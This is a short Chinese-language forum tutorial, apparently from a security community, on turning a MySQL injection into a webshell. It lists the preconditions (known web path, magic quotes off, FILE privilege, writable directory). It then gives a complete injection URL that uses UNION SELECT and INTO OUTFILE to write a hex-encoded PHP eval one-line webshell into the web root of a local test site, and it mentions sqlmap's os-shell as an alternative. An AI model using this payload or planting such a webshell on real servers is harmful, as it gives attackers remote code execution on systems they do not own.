Mysql注入直接getshell的条件相对来说比较苛刻点把
1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了
3:要有file权限,默认情况下只有root有
4:对目录要有写权限,一般image之类的存放突破的目录就有
在实际环境中我只遇过一次,为了做实验,我把php.ini文件里面的gpc改为了Off,重启了一下apahce服务
首先是常规的注入语句
And 1=1 and 1=2 之类的,在输入单引号的时候报错了得到了觉得路径,写shell需要用到
然后order by union等
Mysql的注入语句可以参考这篇帖子http://bbs.ichunqiu.com/thread-5748-1-1.html
原创文章,希望大家多多支持
然后就是用into outfile写文件
http://127.0.0.1/mysqltest/index.php?age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27
0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex编码的<?php eval($_POST['test'])?>
写的文件名一定要是不存在的,不然就会不成功
这里的路径要用/,如果要用\的话,就要用\\ 转移成一个\ 如
C:\\appserv\\www\\mysqltest\\shell1.php
也可以直接用穿山甲来写
或者sqlmap的os-shell
原创文章,希望大家多多支持我
文章中的实验源码下载地址http://bbs.ichunqiu.com/thread-5748-1-1.html